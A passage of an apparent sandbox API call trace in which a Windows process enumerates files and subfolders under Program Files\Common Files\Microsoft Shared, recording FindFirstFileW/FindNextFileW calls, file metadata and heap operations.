ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.467] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.468] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.468] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.468] GetProcessHeap () returned 0x550000 [0072.468] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.468] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0072.468] GetProcessHeap () returned 0x550000 [0072.468] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.468] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.469] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.469] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.470] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.470] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.470] GetProcessHeap () returned 0x550000 [0072.470] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.470] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0072.470] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0072.470] GetProcessHeap () returned 0x550000 [0072.471] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a50b0 | out: hHeap=0x550000) returned 1 [0072.471] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0072.471] GetProcessHeap () returned 0x550000 [0072.471] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.471] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0072.473] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.473] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0072.474] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0072.474] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0072.474] GetProcessHeap () returned 0x550000 [0072.474] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.474] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0072.474] GetProcessHeap () returned 0x550000 [0072.474] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.474] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0072.476] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.476] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0072.476] GetProcessHeap () returned 0x550000 [0072.476] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a50b0 [0072.476] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.477] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.477] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0072.477] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0072.477] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.477] GetProcessHeap () returned 0x550000 [0072.477] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a50b0 | out: hHeap=0x550000) returned 1 [0072.478] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0072.478] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0072.478] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0072.478] GetProcessHeap () returned 0x550000 [0072.478] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.478] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0072.478] GetProcessHeap () returned 0x550000 [0072.478] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.478] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0072.479] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.479] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0072.479] GetProcessHeap () returned 0x550000 [0072.479] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a50b0 [0072.480] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.483] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.483] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0072.483] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0072.483] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0072.484] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0072.484] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0072.484] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0072.484] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0072.484] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1 [0072.485] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0072.485] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0072.485] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0072.485] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0072.485] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", 